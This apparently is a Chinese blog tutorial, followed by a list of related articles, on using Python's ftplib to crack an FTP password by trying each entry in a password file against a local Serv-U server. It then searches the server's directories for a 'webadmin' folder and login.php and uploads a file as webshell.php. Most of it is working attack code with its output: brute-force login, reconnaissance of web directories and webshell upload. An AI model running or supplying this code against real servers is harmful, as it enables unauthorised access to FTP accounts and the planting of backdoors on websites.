Python遍历破解FTP密码,并上传webshell
使用来自ftplib包的FTP模块,就可以轻松暴力输入FTP密码,进行破解,下面为了方便演示,使用用户名为admin来测试
网上一时没有找到可以使用的FTP站点,所以自己搭建一个FTP服务器测试下,官网:下载Serv-U
from ftplib import FTPftpaddr='127.0.0.1'
uname='admin'def getPwd(upwd):try:ftp=FTP(ftpaddr)ftp.login(uname,upwd)print('正确密码为:{0}'.format(upwd))return Trueexcept Exception:return Falsepwdlist=open('pwds.txt','r')
pwds=pwdlist.readlines()
for pwd in pwds:print("密码输入为:{0}".format(pwd))pwd=pwd.strip()if(getPwd(pwd)):break
pwdlist.close()
密码输入为:admin
密码输入为:admin123
正确密码为:admin123
最开始的时候使用的FTP地址为ftp://127.0.0.1,总是报错,后来发现不需要加,直接就是地址即可,127.0.0.1即可,不然将出现下面这样的异常错误:
Traceback (most recent call last):
File "C:\Python27\1.py", line 27, in <module>
ftp=FTP(ftpaddr)
File "C:\Python27\lib\ftplib.py", line 120, in __init__
self.connect(host)
File "C:\Python27\lib\ftplib.py", line 135, in connect
self.sock = socket.create_connection((self.host, self.port),
self.timeout)
File "C:\Python27\lib\socket.py", line 557, in create_connection
for res in getaddrinfo(host, port, 0, SOCK_STREAM):
gaierror: [Errno 11001] getaddrinfo failed
ftp目录和文件的一些操作
# encoding:utf-8from ftplib import FTPftp=FTP('127.0.0.1','admin','admin123')
#print(ftp.getwelcome()) #220 Serv-U FTP Server v15.1 ready...
#ftp.retrlines('LIST') #列出目录和文件的详细信息def getSubDir(self, *args):cmd = 'LIST'func = Noneif args[-1:] and type(args[-1]) != type(''):args, func = args[:-1], args[-1]for arg in args:cmd = cmd + (' ' + arg)files = []ftp.retrlines(cmd, files.append)return files
#获取目录列表
def getDirs(dirname=None):if dirname != None:ftp.cwd(dirname)files = getSubDir('')#详细信息都去掉,只截取目录和文件的名称fname = [f.split(" ")[-1] for f in files]#去掉.和..以及文件,这样就只剩下目录了return [f for f in fname if '.' not in f]#获取文件列表
def getFiles(dirname=None):if dirname != None:ftp.cwd(dirname)return ftp.nlst()#找到webadmin目录的位置(这里测试两层目录)
def findDir(dir1,dir2):if(dir1.lower().find('webadmin')>=0):print('位置为:{0}'.format(dir1))if(dir2.lower().find('webadmin')>=0):print('位置为:{0}'.format(dir1 + '/' + dir2))dirList1=getDirs('')
for d1 in dirList1:print(d1)findDir(d1,'')ftp.cwd('..')dirList2=getDirs(d1)for d2 in dirList2:print(' '+d2)findDir(d1,d2)#找到login.php所在的位置
def findFile(dirname,fname):if(fname.lower().find('login.php')>=0):print('文件所在目录为:{}'.format(dirname))dirlist1=getDirs('')
for d1 in dirlist1:print(d1)ftp.cwd('~') #跳转到根目录for f1 in getFiles(d1):f1=f1.decode('utf-8')findFile(d1,f1)ftp.cwd('..') #跳转到上级目录dirlist2=getDirs(d1)for d2 in dirlist2:print(' '+d2)ftp.cwd('~') #跳转到根目录for f2 in getFiles(d1+'/'+d2):f2=f2.decode('utf-8')findFile(d1+'/'+d2,f2)
BBBBB
nnnnnnnn
ccccc
hjjhjh
Serv-U
12345
Crack
新建文件夹
wwww
webadmin
位置为:wwww/webadmin
BBBBB
nnnnnnnn
ccccc
hjjhjh
Serv-U
12345
Crack
新建文件夹
wwww
webadmin
文件所在目录为:wwww/webadmin
上传webshell
ftp=FTP('127.0.0.1','admin','admin123')
fp=open('D:/Serv-U/wwww/webadmin/1.txt','rb')
ftp.cwd("wwww/webadmin")
ftp.storbinary("STOR webshell.php",fp)
print('成功将1.txt文件内容写入到webshell.php文件里')
fp.close()
ftp.quit()
Python遍历破解FTP密码,并上传webshell相关推荐
- python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.
一.端口扫描 首先安装nmap与python-nmap模块.从http://nmap.org/download.html网站下载nmap安装文件.从http://xael.org/norman/pyt ...
- java实现ftp文件的上传与下载
最近在做ftp文件的上传与下载,基于此,整理了一下资料.本来想采用java自带的方法,可是看了一下jdk1.6与1.7的实现方法有点区别,于是采用了Apache下的框架实现的... 1.首先引用3个包 ...
- Jquery Uploadify插件+Servlet解决FTP多文件上传
这个小程序的起因是老大让我做一个Adobe LiveCycle的外围小程序,附件要随着工作流一起流转用于每级用户审批作为参考.我用.Net2个小时搞完了,被老大通知这个必须用JAVA做-.-无奈之下搞 ...
- python 全栈开发,Day86(上传文件,上传头像,CBV,python读写Excel,虚拟环境virtualenv)
python 全栈开发,Day86(上传文件,上传头像,CBV,python读写Excel,虚拟环境virtualenv) 一.上传文件 上传一个图片 使用input type="file& ...
- C# FTP操作(上传、下载等……)
因为工作中经常涉及到FTP文件的上传和下载,每次有这样的需求时都要重复编写相同的代码,后来干脆整理一个FTPClass,这样不仅方便自己使用,也可以共享给部门其它同事,使用时直接调用就可以了,节省了大 ...
- 怎么上传ftp服务器文件,ftp服务器如何上传本地文件
ftp服务器如何上传本地文件 内容精选 换一换 在本地主机和Windows弹性云服务器上分别安装QQ.exe等工具进行数据传输.使用远程桌面连接mstsc方式进行数据传输.该方式不支持断点续传,可能存 ...
- python实现阿里云OSS文件上传下载
一 前言 最近使用到阿里云的产品OSS,用于临时存储线上抽取的数据,然后起本地化的流程去OSS拉回本地,进行自动化数据验证.OSS提供了web方式的管理控制台,命令行管理工具,提供了主流的SDK支持, ...
- python暴力破解压缩包密码(python暴力破解zip压缩包)
python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...
- linux上连接ftp服务器,linux下lftp连接ftp服务器进行上传与下载的方法详解
摘要 腾兴网为您分享:linux下lftp连接ftp服务器进行上传与下载的方法详解,中英翻译,中建在线,掌上看家,银行帮等软件知识,以及微信一键转发工具,小学英语冀教版,正是在下表情包,易问电信,万能 ...
最新文章
- ECUG 全球技术大会重回上海!
- Apache Beam的架构概览
- 谈谈Mux与门电路的相互替换(包含实例分析)
- RHEL5.4部署中央日志服务器之rsyslog+loganalyzer
- expecting statement错误的一种情况(phpstorm 8.0.2)
- C语言开发笔记(七)const和指针
- P1422 小玉家的电费--2022.03.15
- WCF标准绑定以及传输协议与编码格式
- printf 输出字符串 需要加上 c_str()
- 计算机高级技师论文网,高级技师论文(数控铣床、加工中心).doc
- 微信小程序云开发教程-WXML入门-条件渲染
- 小米笔记本 镜像_2020年小米笔记本Air 13.3原装WIN10出厂系统ISO镜像1607原版下载...
- 知到网课教师口语艺术考试题库(含答案)
- Mac 怎样安装虚拟机(VMware fusion 12)
- 【详细服务器配julia】
- 产业区块链一周动态丨江西将出台区块链五年计划,数字货币试点引发A股躁动...
- SAP MM06物料删除
- 机器学习sklearn-逻辑回归评分卡案例
- 企业数字化转型之传统IT架构改造
- MATLAB---约束最小平方滤波
热门文章
- Https背景与证书在spring boot项目中的使用
- (转)运维角度浅谈MySQL数据库优化
- AndroidStudio安卓原生开发_android.view.WindowManager$BadTokenException: Unable to add---Android原生开发工作笔记129
- AndroidStudio_在android中使用定时器_异步定时实现心跳保活功能---Android原生开发工作笔记231
- 大数据之-Hadoop伪分布式_Log日志查看和NN格式化前强调---大数据之hadoop工作笔记0024
- STM32工作笔记0074---UCOSIII 任务管理(中)
- SpringCloud工作笔记037---spring cloud-zuul的Filter详解
- SuSe防火墙iptables配置
- linux mysql安装及密码相关问题(2)和navicat整合连接
- cocos2d-x之json文件读取初试